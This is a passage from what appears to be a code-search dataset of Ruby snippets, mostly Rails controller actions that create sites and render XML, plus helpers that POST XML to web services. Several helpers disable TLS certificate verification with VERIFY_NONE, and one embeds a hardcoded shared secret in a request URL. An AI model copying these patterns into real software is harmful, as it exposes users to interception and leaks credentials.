new_site.latitude = lat_long[0]\n new_site.longitude = lat_long[1]\n new_site.save\n sites << new_site\n end\n end\n sites\nend",
"def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end",
"def seo_submit\n for search_engine in ::Pingr::SUPPORTED_SEARCH_ENGINES\n ::Pingr::Request.new(search_engine, pages_url(format: :xml)).ping\n end\n \n redirect_to({:action => :index}, {:notice => '<strong>Yay!</strong> Sitemap XML has been submitted to all supported search engines!'.html_safe})\n end",
"def post_xml(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_XML)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return response.body if check_response(response, 201)\n end",
"def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end",
"def new\n @recycling_site = RecyclingSite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recycling_site }\n end\n end",
"def save_uniq_sites_xml(file)\n\t\tputs \"Save unique sites information into XML file: #{file}\\nThis may take a long while as it go through lengthy self correctness check, please be patient ...\"\n\t\tprime_sites=get_prim_uniq_sites\n\t\tbuilder = Nokogiri::XML::Builder.new do |xml|\n\t\t\txml.root {\n\t\t\t\txml.websites {\n\t\t\t\t\tprime_sites.each do |key|\n\t\t\t\t\t\tnext if key.nil?\n\t\t\t\t\t\tsite=key.strip\n\t\t\t\t\t\traise \"Unknown site: #{site}. You may need to add it into the site store first. Execute the following shell command before trying again: \\n\\twmap #{site}\\n\" unless @known_sites.key?(site)\n\t\t\t\t\t\txml.site {\n\t\t\t\t\t\t\txml.name site\n\t\t\t\t\t\t\txml.ip_ @known_sites[site]['ip']\n\t\t\t\t\t\t\txml.port_ @known_sites[site]['port']\n\t\t\t\t\t\t\txml.status_ @known_sites[site]['status']\n\t\t\t\t\t\t\txml.server_ @known_sites[site]['server']\n\t\t\t\t\t\t\txml.fingerprint_ @known_sites[site]['md5']\n\t\t\t\t\t\t\txml.redirection_ @known_sites[site]['redirection']\n\t\t\t\t\t\t\txml.responsecode_ @known_sites[site]['code']\n\t\t\t\t\t\t\txml.timestamp_ @known_sites[site]['timestamp']\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t}\n\t\tend\n\t\tputs builder.to_xml if @verbose\n\t\tf=File.new(file,'w')\n\t\tf.write(builder.to_xml)\n\t\tf.close\n\t\tputs \"Done!\"\n\t\treturn true\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\t\treturn false\n\tend",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def send_post(data_xml,url)\r\n result = @client.post(self.target_uri(url), :body => data_xml , :head => {'Content-Type' => 'application/xml'} ) \r\n raise \"Invalid status #{result.http_status} from server #{@host}:#{@port}\" if(result.http_status != '200') \r\n #reply = Reply.from_xml(result.http_body)\r\n if block_given?\r\n yield(result.http_body)\r\n else\r\n result.http_body\r\n end\r\n end",
"def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def create\n @selector_site = SelectorSite.new(params[:selector_site])\n\n respond_to do |format|\n if @selector_site.save\n flash[:notice] = 'SelectorSite was successfully created.'\n format.html { redirect_to(@selector_site) }\n format.xml { render :xml => @selector_site, :status => :created, :location => @selector_site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @selector_site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to(@site) }\n format.xml { render :xml => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to(root_url, :notice => 'Site was successfully created.') }\n format.xml { render :xml => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @site = Site.new(site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to(root_url, :notice => 'Site was successfully created.') }\n format.xml { render :xml => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to(@site, :notice => 'Site was successfully created.') }\n format.xml { render :xml => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to(@site, :notice => 'Site was successfully created.') }\n format.xml { render :xml => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to(@site, :notice => 'Site was successfully created.') }\n format.xml { render :xml => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def process(xml)\n timeout(TIMEOUT) do\n url = URI.parse(webservices_url)\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.start {\n request = Net::HTTP::Post.new(url.to_s)\n request.body = xml\n response = http.request(request)\n response.body\n }\n end\n end",
"def create\n @site = Xmt::Press::Site.new(site_params)\n respond_to do |format|\n if @site.save\n format.html { redirect_to xmt_press_sites_url, notice: '站点创建成功.' }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(name=\"Default name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Post.new(@url)\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n response.body\n end",
"def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n flash[:notice] = 'Site was successfully created.'\n format.html { redirect_to(@site) }\n format.xml { render :xml => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @institution = @navigation_context.institution\n return unless authorize_resource(@institution, CREATE_INSTITUTION_SITE)\n @site = @institution.sites.new(site_params(true))\n @sites = check_access(@institution.sites, READ_SITE)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to sites_path, notice: I18n.t('sites.create.success') }\n format.json { render action: 'show', status: :created, location: @site }\n else\n format.html { render action: 'new' }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build()\n response = send_post_request(@xml_api_build_path, {:delay => '0sec'})\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def postFlatpackSitemap( flatpack_id, filedata)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n params['filedata'] = filedata\n return doCurl(\"post\",\"/flatpack/sitemap\",params)\n end",
"def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end",
"def post_config(url_prefix, xml)\n url_prefix = URI.escape(\"#{@jenkins_path}#{url_prefix}\")\n http = Net::HTTP.start(@server_ip, @server_port)\n request = Net::HTTP::Post.new(\"#{url_prefix}\")\n puts \"[INFO] PUT #{url_prefix}\" if @debug\n request.basic_auth @username, @password\n request.body = xml\n request.content_type = 'application/xml'\n response = http.request(request)\n response.code\n end",
"def process_request\n @build_xml = build_xml\n pickup_serv_log('Final XML Request : ' + @build_xml.to_s)\n api_url_srv = api_url + \"/pickup\"\n pickup_serv_log('URL for API : ' + api_url_srv.to_s)\n api_response = self.class.post(api_url_srv, :body => build_xml)\n pickup_serv_log('API Response : ' + api_response.to_s)\n puts api_response if @debug\n response = parse_response(api_response)\n if success?(response)\n pickup_serv_log('Successfully Done : ' + response.to_s)\n success_response(api_response, response)\n else\n failure_response(api_response, response)\n end\n end",
"def index\n headers['Content-Type'] = 'application/xml'\n @routes = website_routes + @opportunity_routes\n @blog_sitemap_route = buttercms_blog_sitemap_url\n end",
"def add_site(n, site_name)\n site = Site.new(name: site_name, org_type: 'city', status: 'active')\n lat, lng = Geocoder.coordinates(@zip_xpath[n].text)\n site.contacts.build(city: @city_xpath[n].text, state: @state_xpath[n].text,\n zip: @zip_xpath[n].text, country: @country_xpath[n].text, lat: lat, lng: lng)\n site.save ? site.id : nil\n end",
"def new\n @selector_site = SelectorSite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @selector_site }\n end\n end",
"def create\n neo = Neography::Rest.new\n city = neo.create_node(params[:city])\n redirect_to cities_path\n end",
"def posttestrail(runId, caseId, statusId, versionId, elapsedseconds)\r\n\r\n uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=#{runId}&case_id=#{caseId}&status_id=#{statusId}&version=#{versionId}&elapsed_seconds=#{elapsedseconds}&sharedSecret=thI5iSourSHAREDsecret\"\r\n #uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=110324&case_id=665022&status_id=1&version=Test&elapsed_seconds=12&sharedSecret=thI5iSourSHAREDsecret\"\r\n\r\n uri = uri.gsub(\" \", \"%20\")\r\n xml_data = open(uri).read\r\n if(xml_data.include? '\"test_id\":')\r\n recorded = xml_data.split('\"test_id\":')[1]\r\n testID = recorded.split(',\"status_id\"')[0]\r\n puts \"TestID:\"+testID\r\n else\r\n puts xml_data\r\n fail \"Cannot Post result to Testrail, check Webservice\"\r\n end\r\n\r\n timeStamp = Time.now.strftime (\"posted at %H:%M %d/%m/%Y\")\r\n files = \"//zgbwcfs3005.jupiter.bbc.co.uk/QA/Jenkins/Jupiter/ICETEAresultupdatelog.txt\"\r\n f = File.open(files,'a')\r\n f.write \"#{testID} #{timeStamp}\"\r\n f.close\r\nend",
"def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x|\n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x|\n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end",
"def create_site(params={name:random_string})\n\t\tnew_site = site[:new]\n\t\tparams[:site] = params[:name]\n\t\tnew_site[:params].merge!(params)\n\t\tnew_site[:params][:address] = append_ftp_value(new_site[:params][:address],new_site[:params][:ftp_type])\n\t\tpost(new_site)\n\tend",
"def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend",
"def create\n params[:site][:virtualhost] = nil if params[:site][:virtualhost] =~ /^\\s*$/\n @site = current_user.sites.build(params[:site])\n\n respond_to do |format|\n if @site.save\n flash[:notice] = 'Site was successfully created.'\n format.html { redirect_to(@site) }\n format.xml { render :xml => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(url_variables:, body:)\n ensure_service_document\n\n end",
"def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x| \n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x| \n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end",
"def new\n #1st you retrieve the customer thanks to params[:customer_id]\n customer = Customer.find(params[:customer_id])\n #2nd you build a new one\n @site = customer.sites.create\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def create\n @sitelink = Sitelink.new(params[:sitelink])\n @preferredpages = Preferredpage.find(:all)\n\n respond_to do |format|\n if @sitelink.save\n flash[:notice] = 'Sitelink was successfully created.'\n format.html { redirect_to(@sitelink) }\n format.xml { render :xml => @sitelink, :status => :created, :location => @sitelink }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sitelink.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def postSales_logSyndication( action_type, syndication_type, publisher_id, expiry_date, entity_id, group_id, seed_masheryid, supplier_masheryid, country, reseller_masheryid)\n params = Hash.new\n params['action_type'] = action_type\n params['syndication_type'] = syndication_type\n params['publisher_id'] = publisher_id\n params['expiry_date'] = expiry_date\n params['entity_id'] = entity_id\n params['group_id'] = group_id\n params['seed_masheryid'] = seed_masheryid\n params['supplier_masheryid'] = supplier_masheryid\n params['country'] = country\n params['reseller_masheryid'] = reseller_masheryid\n return doCurl(\"post\",\"/sales_log/syndication\",params)\n end",
"def saveSite()\n\t\tr = @connection.execute('<SiteSaveRequest session-id=\"' + @connection.session_id + '\">' + getSiteXML() + ' </SiteSaveRequest>')\n\t\tif (r.success)\n\t\t\t@site_id = r.attributes['site-id']\n\t\t\t@site_config._set_site_id(@site_id)\n\t\t\t@site_config.scanConfig._set_configID(@site_id)\n\t\t\t@site_config.scanConfig._set_name(@site_id)\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def add_site(params = {})\n site_name.set params['site_name']\n client_division_site_number.set params['client_division_site_number']\n site_number.set params['site_number']\n address_1.set params['address_1']\n address_2.set params['address_2'] if params['address_2']\n zip_code.set params['zip_code']\n city.set params['city']\n country.select(params['country'], match: :first)\n sleep 2 # Wait for the state to be active #TODO: find a way to remove this sleep ~MD\n state.select(params['state']) unless state.disabled?\n study_env.select(params['study_env'])\n pi_email.set params['pi_email']\n pi_first_name.set(params['pi_first_name'])\n pi_last_name.set(params['pi_last_name'])\n pi_role.select(params['pi_role'])\n add_site_submit.click\n sleep 10 # Wait to create a site\n end",
"def new\n\n @project = Project.find(params[:project_id])\n @site = @project.sites.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def pacscl_xml\n document = Blacklight.default_index.search(q: \"id:#{params[:id]}\")&.dig(\"response\", \"docs\")&.first\n document = SolrDocument.new(document)\n document.suppress_xml_containers!\n respond_to do |format|\n format.xml do\n render xml: document.export_as_xml\n end\n end\n end",
"def new(packet, *opts)\n if packet.request.post?\n m = packet['site'].subsites.new(packet.request.params[@my_orange_name.to_s])\n m.save\n orange[:sitemap].add_route_for(packet,\n :orange_site_id => packet['site'].id, \n :resource => :subsites, \n :resource_id => m.id,\n :slug => 'subsite', \n :link_text => 'Orange Subsite'\n )\n end\n packet.reroute(@my_orange_name, :orange)\n end",
"def post_query( xml )\n url = URI.parse( self.url )\n response = self.http.post_form( url, { \"query\" => xml } )\n return response.body\n end",
"def make_request\n if @test\n host = 'wwwcie.ups.com'\n else\n host = 'www.ups.com'\n end\n\n path = \"/ups.app/xml/Rate\"\n server = Net::HTTP.new(host, 443)\n data = @xml_pieces.collect{|p| p.to_s}.join(\"\\n\")\n if @debug\n File.open(@debug_request_path, 'w') do |file|\n file.puts data\n end\n end\n headers = { \"Content-Type\" => \"text/xml\"}\n server.use_ssl = true\n resp = server.post(path, data, headers)\n if @debug\n File.open(@debug_response_path, 'w') do |file|\n file.puts resp.body\n end\n end\n prices = parse_response(resp.body)\n end",
"def index\n @sites = Site.all.order(:created_at)\n\n # @debug = scrape_all\n # @debug = scrape 'http://workingnews.blog117.fc2.com/?xml'\n \n # @spreadsheet = GoogleSpreadsheets::Enhanced::Spreadsheet.find('0ArhV7gTgs6Z8dHlSRUF2SzFXWjlkU1V2d29KR2pkdXc')\n # @worksheet = @spreadsheet.worksheets.find_by(title: 'site_rows')\n # @rows = @worksheet.rows\n # @site_rows = Site.site_rows\n \n # 同期実行\n # Site.sync_with_site_rows\n\n # スクレイピング\n # ApplicationController.helpers.scrape_update\n # ApplicationController.helpers.scrape \"http://alfalfalfa.com/index.rdf\"\n\n respond_to do |format|\n if Rails.env.development?\n format.html { render :html => @sites }\n end\n format.json { render :json => @sites.as_json }\n end\n end",
"def http_post(request, response)\n path = request.path\n\n # Only handling xml\n content_type = request.header('Content-Type')\n return nil unless content_type.index('application/xml') || content_type.index('text/xml')\n\n # Making sure the node exists\n begin\n node = @server.tree.node_for_path(path)\n rescue Dav::Exception::NotFound\n return nil\n end\n\n request_body = request.body_as_string\n\n # If this request handler could not deal with this POST request, it\n # will return 'null' and other plugins get a chance to handle the\n # request.\n #\n # However, we already requested the full body. This is a problem,\n # because a body can only be read once. This is why we preemptively\n # re-populated the request body with the existing data.\n request.body = request_body\n\n document_type_box = Box.new('')\n message = @server.xml.parse(request_body, request.url, document_type_box)\n document_type = document_type_box.value\n\n case document_type\n # Dealing with the 'share' document, which modified invitees on a\n # calendar.\n when \"{#{Plugin::NS_CALENDARSERVER}}share\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-calendar-share'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.update_shares(message.set, message.remove)\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n # The invite-reply document is sent when the user replies to an\n # invitation of a calendar share.\n when \"{#{Plugin::NS_CALENDARSERVER}}invite-reply\"\n\n # This only works on the calendar-home-root node.\n return true unless node.is_a?(CalendarHome)\n\n @server.transaction_type = 'post-invite-reply'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n url = node.share_reply(\n message.href,\n message.status,\n message.calendar_uri,\n message.in_reply_to,\n message.summary\n )\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n if url\n writer = @server.xml.writer\n writer.open_memory\n writer.start_document\n writer.start_element(\"{#{Plugin::NS_CALENDARSERVER}}shared-as\")\n writer.write(Dav::Xml::Property::Href.new(url))\n writer.end_element\n response.update_header('Content-Type', 'application/xml')\n response.body = writer.output_memory\n end\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}publish-calendar\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-publish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = true\n\n # iCloud sends back the 202, so we will too.\n response.status = 202\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}unpublish-calendar\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-unpublish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = false\n\n response.status = 200\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n end\n end",
"def new\n @site = Site.new \n puts \"Got here\"\n #2.times { @site.connections.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to(@site, :notice => 'Site was successfully created.') }\n format.json { render :json => @site, :status => :created, :location => @site }\n format.xml { render :xml => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @site.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @retain_node_selector = RetainNodeSelector.new(params[:retain_node_selector])\n\n respond_to do |format|\n if @retain_node_selector.save\n flash[:notice] = 'RetainNodeSelector was successfully created.'\n format.html { redirect_to(@retain_node_selector) }\n format.xml { render :xml => @retain_node_selector, :status => :created, :location => @retain_node_selector }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @retain_node_selector.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @my_sites = current_user.sites.clone\n @site = current_user.sites.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def create\n @node_config = NodeConfig.new(params[:node_config])\n\n respond_to do |format|\n if @node_config.save\n format.xml { render :xml => @node_config, :status => :created, :location => @node_config }\n format.any { render :json => @node_config, :status => :created, :location => @node_config }\n else\n format.xml { render :xml => @node_config.errors, :status => :unprocessable_entity }\n format.any { render :json => @node_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end",
"def update_search_engines\n\t @url = \"http://#{request.host_with_port}/\"\n sitemap_uri = @url + 'sitemap.xml'\n escaped_sitemap_uri = CGI.escape(sitemap_uri)\n\t Rails.logger.info \"Notifiying new sitemap => \" + escaped_sitemap_uri\n Rails.logger.info \"Notifying Google...\"\n res = Net::HTTP.get_response('www.google.com', '/webmasters/tools/ping?sitemap=' + escaped_sitemap_uri)\n Rails.logger.info res.class\n Rails.logger.info \"Notifying Yahoo...\"\n res = Net::HTTP.get_response('search.yahooapis.com', '/SiteExplorerService/V1/updateNotification?appid=SitemapWriter&url=' + escaped_sitemap_uri)\n Rails.logger.info res.class\n Rails.logger.info \"Notifying Bing...\"\n res = Net::HTTP.get_response('www.bing.com', '/webmaster/ping.aspx?siteMap=' + escaped_sitemap_uri)\n Rails.logger.info res.class\n Rails.logger.info \"Notifying Ask...\"\n res = Net::HTTP.get_response('submissions.ask.com', '/ping?sitemap=' + escaped_sitemap_uri)\n Rails.logger.info res.class\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end",
"def post\n response = HTTParty.post(servlet_url,\n :body => to_xml,\n :headers => { 'Content-Type' => 'application/xml' }\n ).response\n\n return Dhl::Shipment::Response.new(response.body)\n rescue Exception => e\n request_xml = if @to_xml.to_s.size>0\n @to_xml\n else\n '<not generated at time of error>'\n end\n\n response_body = if (response && response.body && response.body.to_s.size > 0)\n response.body\n else\n '<not received at time of error>'\n end\n\n log_level = if e.respond_to?(:log_level)\n e.log_level\n else\n :critical\n end\n\n log_request_and_response_xml(log_level, e, request_xml, response_body )\n raise e\n end",
"def nessus_request(uri, post_data) \r\n\t\tbody=nessus_http_request(uri, post_data)\r\n\t\t# puts response.body\r\n\t\tdocxml = REXML::Document.new(body)\r\n\t\tbegin \r\n\t\tstatus = docxml.root.elements['status'].text\r\n\t\trescue\r\n\t\t\tputs \"[e] error in XML parsing\"\r\n\t\tend\r\n\t\tif status == \"OK\"\r\n\t\t\treturn docxml \r\n\t\telse \r\n\t\t\treturn ''\r\n\t\tend\r\n\tend",
"def sites; end",
"def sites; end",
"def sites; end",
"def sites; end",
"def sites; end",
"def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n flash[:notice] = 'Site was successfully created.'\n Changelog.add(@current_user.login, \"Created the site #{@site.name}\")\n format.html { redirect_to(@site) }\n format.xml { render :xml => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n #1st you retrieve the customer thanks to params[:customer_id]\n customer = Customer.find(params[:customer_id])\n #2nd you create the site with arguments in params[:site]\n @site = customer.sites.create(params[:site_id])\n\n\n respond_to do |format|\n if @site.save\n #1st argument of redirect_to is an array, in order to build the correct route to the nested resource site\n format.html { redirect_to([@site.customer, @site], :notice => 'Please fill in the details below') }\n #the key :location is associated to an array in order to build the correct route to the nested resource site\n format.xml { render :xml => @site, :status => :created, :location => [@site.customer, @site] }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend",
